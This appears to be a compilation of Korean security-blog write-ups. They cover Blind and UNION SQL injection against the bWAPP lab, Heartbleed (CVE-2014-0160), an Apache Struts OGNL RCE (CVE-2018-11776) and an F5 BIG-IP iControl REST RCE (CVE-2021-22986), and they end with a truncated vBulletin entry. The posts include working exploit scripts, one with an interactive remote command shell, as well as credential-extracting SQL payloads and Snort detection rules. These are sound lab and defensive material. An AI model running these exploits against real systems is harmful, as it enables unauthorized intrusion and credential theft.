1. Blind SQL Injection

- 웹 서버의 보안 설정을 통해 기존 SQL Injection에 대한 대응이 되어있는 경우 수행

- SQL 쿼리 수행 결과인 참/거짓을 기반으로 데이터를 알아내는 기법

- 참/거짓으로 결과를 반환하므로 노가다성 작업이 필요

- Boolean-Based 기법과 Time-Based 기법이 있음

[캡쳐 1] Blind SQL Injection 수행 과정

- Blind SQL Injection에서는 다음 함수들이 자주 사용됨

함수 설명
length("문자열") - 문자열의 길이를 반환하는 함수
substring(대상 문자열, 시작 위치, 길이) - 문자열에서 지정한 시작위치부터 길이만큼 출력하는 함수
- 시작 위치는 1부터 시작
* MySQL : substring() / Oracle : substr() / 사용법은 동일
limit 시작 위치, 갯수 - 지정한 시작위치부터 갯수만큼 결과를 반환하는 함수
- 시작 위치는 0부터 시작
ascii - 문자를 아스키코드로 변환하는데 사용하는 함수
- 10진수 48 ~ 57 = 정수 1 ~ 10
- 10진수 65 ~ 90 = 문자 A ~ Z
- 10진수 97 ~ 122 = 문자 a ~ z

2. 실습

- movie 검색란에 SQL Injection 취약점 유무를 확인하기 위해 '를 입력

- 출력되는 에러를 통해 SQL Injection 취약점이 존재하는 것을 알 수 있음

- 쿼리 수행 결과가 참일 경우와 거짓일 경우 출력되는 결과 값이 다른 것을 알 수 있음

- 해당 결과를 통해 Blind SQL 중 Boolean-Based 기법을 수행해야 한다는것을 유추 가능함

 

2.1 데이터베이스 이름의 문자열 갯수 확인

- length()를 이용해 데이터베이스 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=1 #

- 질의문 해석 : 데이터베이스 이름의 길이가 1인지 

* database() : 서버의 데이터베이스 명을 반환하는 시스템 함수

- 숫자를 계속해서 증가 시켜 질의를 수행한 결과, 데이터베이스 명은 5글자인 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length(database())=5 #

- 질의문 해석 : 데이터베이스 이름의 길이가 5인지

2.2 데이터베이스 이름 확인

- substring()를 이용해 데이터베이스의 명을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'a'인지

- 문자를 변경하면서 질의문을 수행하면, 데이터베이스가 'b'로 시작하는 5글자임을 알 수 있음

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)='b' #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 'b'인지

- 데이터베이스 이름의 두번째 글자 확인을 원할 경우 substring()의 시작위치를 2로 변경하여 질의를 수행하면 됨.

- 수행 질의문 : ' or 1=1 and substring(database(),2,1)='a' #

- 질의문 해석 : 데이터베이스 이름의 두번째 글자가 'a'인지

 

- ASCII 값과 부등호를 이용해 해당 아스키 값이 입력한 아스키 값보다 큰지 작은지 확인할 수 있음

- substring()으로 하나씩 글자를 확인하는 것보다 ASCII 값으로 범위를 한정하여 검색하는 것이 수월

- 수행 질의문 : ' or 1=1 and substring(database(),1,1)<=97 #

- 질의문 해석 : 데이터베이스 이름의 첫번째 글자가 97(문자 a) 보다 작거나 같은 값인지

- 각 과정을 반복하면 데이터베이스의 이름이 'bWAPP'인 것을 알 수 있음

2.3 테이블 이름의 문자열 갯수 확인

- length()와 limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 1#

* table_type = 'base table'란 information_schema에서 메타 데이터 테이블을 제외한 테이블을 의미

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서
table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의
table_name의
첫번째 테이블 이름의

길이가 1인지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블 이름의 길이가 4인것을 알 수 있음

- 수행 질의문 : ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))= 4#

- 두번째 테이블 이름의 길이를 알고싶을 경우 위 수행 질의문 중 limit 0,2 로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

2.4 테이블 이름 확인

- ascii, substring(), limit을 사용해 테이블 이름의 문자열 갯수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 질의문 해석 :

information_schema 데이터베이스의 tables 테이블에서

table_type이 base table이고 table_schema가 bWAPP인 데이터베이스의

table_name의

첫번째 테이블 이름의

쳣번째 글자가

ascii 값으로 97(문자 a)보다 크거나 같은지

- 숫자를 증가시켜 질의문을 수행하면 첫번째 테이블이 b로 시작하는 4글자임을 확인할 수 있음

- 수행 질의문 : ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) >= 97#

- 문자를 변경하면서 질의를 수행한 결과, 데이터베이스의 첫 글자는 'b'인 것을 알 수 있으며, 결과 값은 blog임

- 두번째 테이블의 이름을 알고싶은 경우 수행 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 4번째 테이블 명이 users라는 것을 알 수 있음

2.5 users 테이블의 정보 확인

- 다음 질의를 통해 users 테이블의 첫번째 칼럼의 글자수를 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1#

- 질의문 해석 :

information_schema 데이터베이스의 columns 테이블에서

table_name이 users인 테이블의

column_name의

첫번째 컬럼의

길이가 1인지

- 2를 대입하여 질의를 수행하면 결과로 참을 반환하며, id임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 :  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,2)= 'id'#

- 두번째 컬럼을 알고싶은 경우 질의문 중 limit 1,1로 변경해 질의문을 구성하며, 숫자를 하나씩 늘려가며 확인

- 해당 과정을 반복하면 users 테이블의 컬럼은 id, login, password 등으로 구성되어 있는것을 알 수 있음

2.6 users 테이블의 login 컬럼 정보 확인

- 다음 질의문을 통해 login 컬럼에 저장된 정보의 길이 확인할 수 있음

- 수행 질의문 : ' or 1=1 and length((select login from users limit 0,1))=1#

- 질의문 해석 : users 테이블의 login 컬럼의 첫번째 컬럼의 길이가 1인지

- 질의문을 변경하면서 질의를 수행하면 2번째 컬럼의 길이가 3인것을 확인할 수 있음

- 다음 질의문을 통해 users 테이블의 login 컬럼의 두번째 컬럼이 3글자이며, bee임을 추측해 볼 수 있으며 질의를 통해 확인 가능

- 수행 질의문 : ' or 1=1 and substring((select login from users limit 1,1),1,3)='bee'#

- 질의문 해석 : users 테이블의 login 컬럼의 두번째 컬럼이 'bee'인지

 

- 또한, 각 과정을 반복하면 users 테이블의 password 컬럼 길이가 40임을 알 수 있고, 해시된 값임을 추측해 볼 수 있음

- 수행 질의문 : ' or 1=1 and length((select password from users where login='bee'))=40#

- 질의문 해석 : users 테이블에서 login 컬럼 값이 'bee'인 password 컬럼의 길이가 40인지

- 해시 여부를 확인하면(수행 질의문에서 md5()를 sha1 등으로 바꿔서 확인 가능) sha1을 사용해 비밀번호를 해시하여 저장하는 것을 알 수 있음

- 수행 질의문 : ' or 1=1 and md5("bug") = (select password from users where login='bee')#

 

3. 비박스 소스 확인

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

1. OpenSSL

- 네트워크를 통한 데이터 통신에 쓰이는 프로토콜인 TLS와 SSL의 오픈 소스 암호화 라이브러리
- C 언어로 작성되어 있는 중심 라이브러리 안에는, 기본적인 암호화 기능 및 여러 유틸리티 함수들이 구현되어 있음

2. HeartBleed

- 클라이언트와 서버는 계속 신호를 주고 받으며 연결상태를 확인하는데 이를 "하트비트(Heartbeat)"라 함

하트비트(Heartbeat)란?
1. 일종의 Echo Request/Echo Reply처럼 서버의 기동 여부를 진단하기 위한 프로토콜
2. 특정 Echo Request를 보내고, 반환 받을 크기를 지정하면 해당 크기만큼 Echo Reply 응답

- '하트비트' 과정 중, 서버가 클라이언트의 요청에 응답할 때 정상적인 응답내용 외 추가정보(중요정보)를 포함한 응답이 전송되어 정보가 노출될 수 있어 HeartBleed로 불림
- 서버가 클라이언트로부터 전달받은 정보의 내용과 그 정보의 길이의 일치 여부를 검증하지 않은 채 응답하여 발생

HeartBleed란?
1. 반환 받을 크기 지정 시 보낸 메세지보다 훨씬 크게 지정(최대 64KB)하여 보낼 수 있는 취약점이 존재
2. 1KB를 보내면서 64KB를 요청 할 경우 나머지 63KB는 메모리에 있는 임의 데이터가 보내짐
3. 위와 같은 동작을 반복하면 메모리상에 흐르는 임의 데이터를 지속적으로 탈취할 수 있음

- 당시 발표에 따르면, 인증 기관에서 인증받은 안전한 웹 서버의 약 17%(약 50만대)가 영향을 받을 수 있었음

3. CVE-2014-0160

[캡쳐 1] https://nvd.nist.gov/vuln/detail/cve-2014-0160

- 취약한 버전의 OpenSSL은 공격자의 조작된 요청에 의해 메모리에서 중요한 정보를 얻을 수 있음.

취약한 버전 : OpenSSL 1.0.1 ~ 1.0.1f
원인 : Heartbeat Extension 패킷을 제대로 처리하지 못하여 원격 공격자가 버퍼 오버 읽기를 유발
영향 : 조작된 패킷을 통해 프로세스 메모리에서 중요한 정보를 얻을 수 있음
[캡쳐 2] 공격원리 (https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884)

- [캡쳐 2] 과정을 다음에 비유할 수 있음

1. 엘리스(클라이언트)는 밥(서버)에게 봉투에 100원을 넣고, 1000원이 들었다는 정보와 함께 전송
2. 밥(서버)은 100원을 확인하고, 나머지 900원을 합하여 엘리스(클라이언트)에 응답
3. 엘리스(클라이언트)에게 900원에 해당하는 정보가 유출 됨

4. 실습

4.1) PoC 분석

- PoC는 먼저 서버와 TLS를 이용한 보안 연결을 맺는 것부터 시작하며, 보안 연결이 설정된 이후 s.send(hb) 함수를 통해 Heartbeet 요청을 전송

[캡쳐 3] Heartbeat 요청 메세지
// 첫 필드는 TLS 레코드가 하트비트임을 명시하고 TLS버전을 알림
18 : TLS record is a heartbeat
03 02 : TLS version 1.1

// 다음으로 하트비트 메시지의 길이와 이 메시지가 하트비트 요청임을 명시
00 03 : Length
01 : Heartbeat request

// 공격의 핵심
// payload길이를 16,384바이트로 표시하고 있지만 그 만큼의 길이에 해당하는 메시지를 보내지 않음
// 16진수로 4000은 16384
40 00 : Payload length(16384bytes)

4.2) 취약점 코드

- 취약한 소스코드를 확인해 보면 사용자 요청 메시지에 대한 길이를 검사하지 않는 것을 확인할 수 있음

[캡쳐 4] 취약한 소스 코드

4.3) 취약점 실습

- 비박스에서 Heartbleed 취약점을 실습해 볼 수 있으며, HTTPS와 8443포트로 접속해야 함

[캡쳐 5] 비박스 Heartbleed

- 로그인 후 공격 스크립트를 실행시키면 Heartbeat 응답 메세지를 확인할 수 있음.

* 스크립트를 실행하면 결과가 길어 확인이 불편하므로, more 명령으로 내용 확인

[캡쳐 6] Heartbeat 응답

- Heartbeet 응답값을 확인하면 로그인정보와 쿠키값이 노출된 것을 볼 수 있으며, 이외에도 추가 정보 유출이 가능함

* 추가정보 : SSL 서버 비밀키, 세션키 등 / 노출되는 정보는 서비스 환경마다 다름

[캡쳐 7] 로그인 정보 유출

- 해당 패킷을 와이어샤크로 확인하면 [캡쳐 6]과 같음

[캡쳐 8] 와이어샤크

5. 대응방안

1. 시스템 측면 방안
- 최신 업데이트를 적용
- 사용자 요청 메시지에 대한 길이를 검사하도록 코드 추가

[캡쳐 9] 패치 코드

- 업데이트 적용이 어려울 경우 버전 확인 및 Heartbeat 프로토콜 비활성화

1. Open SSL 버전 확인 명령
openssl version -a
2. Open SSL Heartbeat 활성화 여부 확인 명령
// Heartbeat 기능이 활성화되어 있는 경우 heartbeat 문자열이 검색됨
openssl s_client -connect domain.com:443 -tlsextdebug -debug -state | grep -i heartbeat

2. 네트워크 측면 방안
- SSL 서비스 포트에 대해 공격 요청 시 전송되는 |18 03 ??| 탐지 패턴 적용

alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 00|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "SSLv3 Malicious Heartbleed Request V2”; sid: 1;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 01|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1 Malicious Heartbleed Request V2"; sid: 2;)
alert tcp any any < > any SSL 서비스 포트 (content:"|18 03 02|"; depth: 3; content:"|01|"; distance: 2; within: 1; content:!"|00|"; within: 1; msg: "TLSv1.1 Malicious Heartbleed Request V2"; sid: 3;)

03 00은 SSLv3.0 / 03 01은 TLSv1.0 / 03 02는 TLSv1.1

3. 서비스 관리 측 방안
- 서버 측 SSL 비밀키(Secret Key)가 유출되었을 가능성을 배제할 수 없기 때문에 인증서 재발급 검토
- 취약점에 대한 조치가 완료된 후 사용자들의 비밀번호 재설정을 유도하여 탈취된 계정을 악용한 추가 피해를 방지하는 방안 고려

6. 참조

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=20884
https://heartbleed.com/
https://jmoon.co.kr/164

'취약점 > 기타' 카테고리의 다른 글

Deface Attack_중국 샤오치잉 해킹 그룹  (0) 2023.04.10
IFS(Internal Field Separator) String  (0) 2023.02.01
DNS Zone Transfer  (0) 2022.12.07
Brute Force Attack  (0) 2022.11.16
robots.txt  (0) 2022.08.30

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

2. CVE-2018-11776

[캡쳐 1] https://nvd.nist.gov/vuln/detail/CVE-2018-11776

- 공격자는 취약한 버전의 Apache Struts에 조작된 요청을 전송함으로써 원격 코드를 실행할 수 있음.

- 해당 취약점은 사용자 입력값에 대한 검증이 충분하지 않아 발생하는 취약점.

취약한 버전 : Apache Struts 버전 2.3 ~ 2.3.34 및 2.5 ~ 2.5.16
조건
1. Struts 구성에서 alwaysSelectFullNamespace 플래그가 “true”로 설정됨 (참고: 널리 사용되는 Struts Convention 플러그인을 사용하는 경우 “true”가 기본값으로 설정)
2. Struts 애플리케이션이 특정 namespace를 지정하지 않고 구성되거나 와일드카드 namespace를 이용하는 <action ...> 태그가 포함되어 있음.
결과
웹 응용 프로그램에서 namespace 를 지정하지 않거나 /* 와 같은 와일드카드 namespace 를 사용하는 경우 주어진 작업에 대한 namespace 를 찾을 수 없다면 공격자가 지정한 namespace 를 취하여 OGNL 표현식으로 평가하여 웹 어플리케이션에 원격코드실행을 악용할 수 있음.
OGNL(Object-Graph Navigation Language) : Apache Struts의 동작을 사용자 정의하는 데 사용되는 강력한 도메인별 언어

 

2.1) PoC 분석

#!/usr/bin/python
# -*- coding: utf-8 -*-

# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter

import sys
import urllib
import urllib2
import httplib


def exploit(host,cmd):
    print "[Execute]: {}".format(cmd)

    ognl_payload = "${"
    ognl_payload += "(#_memberAccess['allowStaticMethodAccess']=true)."
    ognl_payload += "(#cmd='{}').".format(cmd)
    ognl_payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    ognl_payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd}))."
    ognl_payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    ognl_payload += "(#p.redirectErrorStream(true))."
    ognl_payload += "(#process=#p.start())."
    ognl_payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    ognl_payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    ognl_payload += "(#ros.flush())"
    ognl_payload += "}"

    if not ":" in host:
        host = "{}:8080".format(host)

    # encode the payload
    ognl_payload_encoded = urllib.quote_plus(ognl_payload)

    # further encoding
    url = "http://{}/{}/help.action".format(host, ognl_payload_encoded.replace("+","%20").replace(" ", "%20").replace("%2F","/"))

    print "[Url]: {}\n\n\n".format(url)

    try:
        request = urllib2.Request(url)
        response = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        response = e.partial
    print response


if len(sys.argv) < 3:
    sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])
else:
    exploit(sys.argv[1],sys.argv[2])

- 해당 PoC를 확인해보면 namespace를 지정하지 않고, allowStaticMethodAccess 값을 true로 지정

- iswin 변수로 운영체제 종류(Win or Linux)를 파악 후 cmd 변수(공격자가 입력한 명령)로 명령문을 완성 및 요청 전송

 

2.2) 취약점 실습

 

GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

Working Python test and PoC for CVE-2018-11776, includes Docker lab - GitHub - hook-s3c/CVE-2018-11776-Python-PoC: Working Python test and PoC for CVE-2018-11776, includes Docker lab

github.com

- 도커 이미지 다운로드 및 실행(도커 컨테이너는 8080포트, 호스트 시스템은 32773 포트 사용)

$ docker pull piesecurity/apache-struts2-cve-2017-5638
$ docker run -d --name struts2 -p 32773:8080 piesecurity/apache-struts2-cve-2017-5638

- 도커 내부 및 설정 파일 접근

$ docker exec -t -i struts2 /bin/bash
$ apt-get update
$ apt-get install vim
$ vim /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml

- <struts>에 매퍼 추가([캡쳐 2]) 및 <package name="default" extends="struts-default">에 리다이랙션([캡쳐 3]) 추가

[캡쳐 2] <struts> 추가 내용
[캡쳐 3] <package name="default" extends="struts-default"> 추가 내용

- 컨테이너 재시작

$ exit
$ docker restart struts2\

- Apache Struts2 정상 동작 확인

[캡쳐 4] Apache Struts2 정상 동작

- curl을 통해 OGNL 표현식 변환 확인 (${2+2} 인코딩 -> $%7b2%2b2%7d)

- ${2+2} 네임스페이스를 요청하였으나, Location 헤더가 /4/date.action으로 변경 되었고, OGNL 표현식이 실행되었음을 의미

[캡쳐 5] OGNL 표현식 변환

- cmd(PoC에서 명령을 지정하는 매개변수)에 id 명령(사용자의 user, group 정보를 출력하는 명령)를 삽입 및 전송

- cmd 값을 id가 아닌 cat /etc/passwd, wget을 이용한 파일 다운로드, 리버스쉘 생성 등으로 조작 가능함

[캡쳐 6] id 명령 실행 결과 반환

- [캡쳐 6]을 와이어샤크를 통해 확인하면 [캡쳐 7]과 같음

[캡쳐 7] 패킷 캡쳐

3. 대응방안

1. 취약점이 패치된 버전으로 업그레이드

- cleanupNamespaceName 메소드에 화이트리스트 기능을 추가하여 악의적인 코드를 OGNL 형식으로 주입되는것을 방지

[캡쳐 8] 패치 코드

2. 취약점 탐지 및 차단

- allowStaticMethodAccess 옵션을 활성화(true)하여 해당 취약점을 이용함.

- 해당 문자열을 토대로 패턴 생성 및 적용

alert tcp any any -> any any (msg:"Apache Struts2 RCE"; content:"allowStaticMethodAccess"; nocase; content:"true"; nocase;)

4. 참조

1. https://www.secjuice.com/apache-struts2-cve-2018-11776/

2. https://github.com/hook-s3c/CVE-2018-11776-Python-PoC

3. https://koromoon.blogspot.com/2018/09/cve-2018-11776-apache-struts2-s2-057.html

4. https://bziwnsizd.tistory.com/75

SQL injection

- 입력값에 대한 검증을 하지 않을 경우 악의적인 SQL 쿼리를 삽입하여 데이터베이스의 정보를 탈취하거나 인증을 우회하는 공격 기법

- 영화를 검색하는 페이지이며, 아무 입력값 없이 Search를 누르면 모든 영화 목록들이 출력됨

- 해당 페이지에 SQL Injection 취약점 존재 여부를 확인하기 위해 '(작은따옴표) 입력 후 Search 클릭

* 데이터베이스에서는 '(작은따옴표)로 문자 데이터를 구분하기 때문

- 그 결과로 오류메세지가 출력되며, SQL Injection 취약점이 존재하는 것과 MySQL을 사용하는 것을 알 수 있음.

* 데이터베이스별 한줄 주석 : MySQL : # / Oracle : -- / MSSQL : -- / MariaDB : --, # / Sybase IQ : --, //, % / Sybase ASE : -- / DB2 : --

- 좀 더 자세한 정보를 알아내기 위해 UNION SELECT 구문을 사용

UNION문
① 두 개 이상의 SELECT 문을 결합하고자 할 때 사용
② 선행 쿼리의 SELECT 문의 컬럼 갯수와 후행 쿼리의 SELECT 문의 컬럼 갯수와 데이터 형식이 동일해야 함
③ 중복을 제거하여 출력 / UNION ALL은 중복을 제거하지 않고 모두 출력

- UNION 구문을 사용하기 위해서는 먼저 SELECT 문의 컬럼 갯수를 파악해야 하므로 다음 SQL 구문을 실행함

<수행 구문>

' UNION SELECT 1,2...#

<구문 분석>
' : 선행 질의문 종료
UNION : 선행 질의문과 후행 질의문 합치기
1,2,3 ... : 컬럼 갯수
# : MySQL 한줄 주석으로, 이후 구문들은 주석으로 처리되어 무시

' UNION SELECT 1# ------------------- 에러발생
' UNION SELECT 1,2# ----------------- 에러발생
' UNION SELECT 1,2,3# --------------- 에러발생
' UNION SELECT 1,2,3,4# ------------- 에러발생
' UNION SELECT 1,2,3,4,5# ----------- 에러발생
' UNION SELECT 1,2,3,4,5,6# --------- 에러발생
' UNION SELECT 1,2,3,4,5,6,7# ------- 정상실행

- 위의 결과를 통해 컬럼 갯수는 7개이며, 출력되는 컬럼 번호는 2, 3, 4, 5번인 것을 알 수 있음

- 이후, 2, 3, 4, 5번 칼럼 값에 시스템 변수 혹은 메타데이터를 적용해 데이터베이스에 대한 정보를 알 수 있음

 

① 데이터베이스 버전 확인

<수행 구문>

' UNION SELECT 1, @@version, 3, 4, 5, 6, 7#

* @@version : 데이터베이스 버전이 저장된 시스템 변수

② 테이블명 확인

<수행 구문>

' UNION SELECT 1, table_name, 3, 4, 5, 6, 7 FROM information_schema.tables #

<구문 분석>

1) table_name : 테이블 명

2) information_schema : MySQL 서버 내에 존재하는 DB의 메타 정보(테이블, 칼럼, 인덱스 등의 스키마 정보)를 모아둔 DB

3) information_schema.tables : information_schema 데이터베이스 내의 tables 테이블(생성된 모든 테이블 정보)

<전체 구문>

information_schema 데이터베이스의 tables 테이블의 테이블 이름을 두번째 컬럼에 출력

③ 테이블 정보 확인

<수행 구문>

' UNION SELECT 1, column_name, 3, 4, 5, 6, 7 FROM information_schema.columns WHERE table_name='users' #

<구문 분석>

1) column_name : 열이름

2) information_schema.columns : information_schema 데이터베이스 내의 columns 테이블(모든 스키마의 컬럼 확인)

3) table_name='users' : table_name(테이블 명)이 users인 테이블

<전체 구문>

information_schema 데이터베이스의 columns 테이블에서 테이블 이름이 users인 테이블의 column 이름을 두번째 컬럼에 출력

④ 계정 정보 확인

<수행 구문>

' UNION SELECT 1, id, login, secret, password, 6, 7 from users # 

<전체 구문>

users 테이블에서 id, login, secret, password 컬럼의 내용을 출력

* 출력되는 컬럼은 4개 이므로 추가로 출력을 원하는 컬럼이 있는 경우 "concat(첫번째컬럼, 두번째컬럼)"을 사용

* concat(str1, str2 ..) : 명시된 문자열을 병합하여 반환하는 함수

- bee 계정의 비밀번호(6885858486f31043e5839c735d99457f045affd0 -> bug)를 알 수 있음

 

- 해당 페이지의 소스코드를 확인해 보면 security_level 별로 입력값 검증 방법을 확인할 수 있음

① security_level = 0 (난이도 하)일 경우 입력값을 검증하지 않음

② security_level = 1 (난이도 중)일 경우 sqli_check_1() 함수로 입력값 검증

③ security_level = 2 (난이도 상)일 경우 sqli_check_2() 함수로 입력값 검증

- addslashes(), mysql_real_escape_string() 함수를 통해 입력값 검증

① addslashes() : ', ", \, NULL 바이트에 역슬래시(\)를 추가된 문자열을 반환

② mysql_real_escape_string() : NULL, \n, \r, \, ', "에 역슬래시(\)를 붙여 특수 문자를 이스케이프

1. F5 BIG-IP

- F5 : 응용 서비스 및 네트워크 관리 제품 개발을 전문으로 하는 다국적 기업
- BIG-IP : 로컬 및 글로벌 스케일의 인텔리전트 L4-L7 로드 밸런싱 및 트래픽 관리 서비스, 강력한 네트워크 및 웹 애플리케이션 방화벽 보호, 안전하고 연합된 애플리케이션 액세스를 제공하는 어플라이언스 제품

[캡쳐 1] 쇼단 F5 BIG-IP 검색 화면

2. CVE-2021-22986

[캡쳐 2] https://nvd.nist.gov/vuln/detail/CVE-2021-22986

- 취약한 버전의 BIG-IP, BIG-IQ의 iControl REST 인터페이스에서 발생하는 원격 명령어 실행 취약점
- 취약한 버전의 제품 로그인 페이지에만 접근하여도 취약점을 통해 인증 우회 및 원격 명령어 실행이 가능

[캡쳐 3] https://support.f5.com/csp/article/K03009991

2.1) 취약점 분석

- F5 BIG-IP 제품의 Default ID/PW 값은 admin/admin으로 설정되어 있음.
- 원격의 공격자는 Authorization 헤더의 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정하여 조작된 요청 전송
- 사용자 입력값(ID/PW) 적절한 검증의 부재로 공격자는 관리자의 X-F5-Auth-Token(admin 토큰 값) 값을 알아낼 수 있음
- 해당 토큰 값을 이용해 관리자의 권한으로 원격 명령 수행이 가능.

* YWRtaW46YWRtaW4= base64 디코딩 시 admin:admin
* X-F5-Auth-Token 값을 공백 && Authorization 헤더 값을 admin(혹은 YWRtaW46YWRtaW4=)로 설정한 PoC도 확인
사유 : Authorization헤더를 통해 전달한 ID/PW 값을 통해 admin 권한으로 접근이 가능하기 때문으로 판단.

2.2) PoC

def exploit(url):
	target_url = url + '/mgmt/shared/authn/login'
	data = {
		"bigipAuthCookie":"",
		"username":"admin",
		"loginReference":{"link":"/shared/gossip"},
		"userReference":{"link":"https://localhost/mgmt/shared/authz/users/admin"}
	}
	headers = {
		"User-Agent": "hello-world",
		"Content-Type":"application/x-www-form-urlencoded"
	}
	response = requests.post(target_url, headers=headers, json=data, verify=False, timeout=15)
	if "/mgmt/shared/authz/tokens/" not in response.text:
		print('(-) Get token fail !!!')
		print('(*) Tested Method 2:') 
		header_2 = {
		    'User-Agent': 'hello-world',
		    'Content-Type': 'application/json',
		    'X-F5-Auth-Token': '',
		    'Authorization': 'Basic YWRtaW46QVNhc1M='
		}
		data_2 = {
			"command": "run", 
			"utilCmdArgs": "-c whoami"
		}
		check_url = url + '/mgmt/tm/util/bash'
		try:
			response2 = requests.post(url=check_url, json=data_2, headers=header_2, verify=False, timeout=20)
			if response2.status_code == 200 and 'commandResult' in response2.text:
				while True:
					cmd = input("(:CMD)> ")
					data_3 = {"command": "run", "utilCmdArgs": "-c '%s'"%(cmd)}
					r = requests.post(url=check_url, json=data_3, headers=header_2, verify=False)
					if r.status_code == 200 and 'commandResult' in r.text:
						print(r.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
			else:
				print('(-) Not vuln...')
				exit(0)
		except Exception:
			print('ERROR Connect')
	print('(+) Extract token: %s'%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0]))
	while True:
		cmd = input("(:CMD)> ")
		headers = {
			"Content-Type": "application/json",
			"X-F5-Auth-Token": "%s"%(response.text.split('"selfLink":"https://localhost/mgmt/shared/authz/tokens/')[1].split('"}')[0])
		}
		data_json = {
			"command": "run", 
			"utilCmdArgs": "-c \'%s\'"%(cmd)
		}
		exp_url= url + '/mgmt/tm/util/bash'
		exp_req = requests.post(exp_url, headers=headers, json=data_json, verify=False, timeout=15)
		if exp_req.status_code == 200 and 'commandResult' in exp_req.text:
			print(exp_req.text.split('commandResult":"')[1].split('"}')[0].replace('\\n', ''))
		else:
			print('(-) Not vuln...')
			exit(0)

if __name__ == '__main__':
    title()
    if(len(sys.argv) < 2):
    	print('[+] USAGE: python3 %s https://<target_url>\n'%(sys.argv[0]))
    	exit(0)
    else:
    	exploit(sys.argv[1])

[캡쳐 4] https://twitter.com/1zrr4h/status/1373206181955653632

3. 대응방안

- 최신 버전으로 업데이트

[캡쳐 5] 업데이트 코드(인증 우회 방지)

- 상위 보안장비를 통한 접근제어 : 취약점에 사용되는 문자열을 탐지할 수 있는 스노트 룰 적용
Ex) /mgmt/shared/authn/login, /mgmt/tm/util/bash, "command":, "utilCmdArgs": 등

참고

CVE-2021-22986 (iControl REST unauthenticated remote command execution vulnerability)

#CVE #Exploit #F5 #BIG_IP #Security □ 주요 내용 / Main contents F5 BIG-IP : 로컬 ...

blog.naver.com

K03009991: iControl REST unauthenticated remote command execution vulnerability CVE-2021-22986 | AttackerKB

On BIG-IP versions 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3 amd BIG-IQ 7.1.0.x …

attackerkb.com

GitHub - jas502n/CVE-2021-22986-f5-ssrf-rce: CVE-2021-22986 & F5 BIG-IP RCE

CVE-2021-22986 & F5 BIG-IP RCE. Contribute to jas502n/CVE-2021-22986-f5-ssrf-rce development by creating an account on GitHub.

github.com

'취약점 > RCE' 카테고리의 다른 글

Spring Cloud Function RCE (CVE-2022-22963)  (0) 2022.11.15
Apache Struts 2 Namespace RCE (CVE-2018-11776)  (1) 2022.09.29
vBulletin Pre-Auth RCE(CVE-2019-16759)  (0) 2022.09.20
Bash Shell Shock(CVE-2014-6271)  (2) 2022.09.13
bWAPP PHP Code Injection  (0) 2022.07.29

1.vBulletin

- MH Sub I, LLC에서 판매 하는 독점 인터넷 포럼 소프트웨어 패키지
- PHP 로 작성되었으며 MySQL 데이터베이스 서버를 사용

[캡쳐 1] 쇼단 vBulletin 검색 화면

2. CVE-2019-16759

[캡쳐 2] https://nvd.nist.gov/vuln/detail/cve-2019-16759

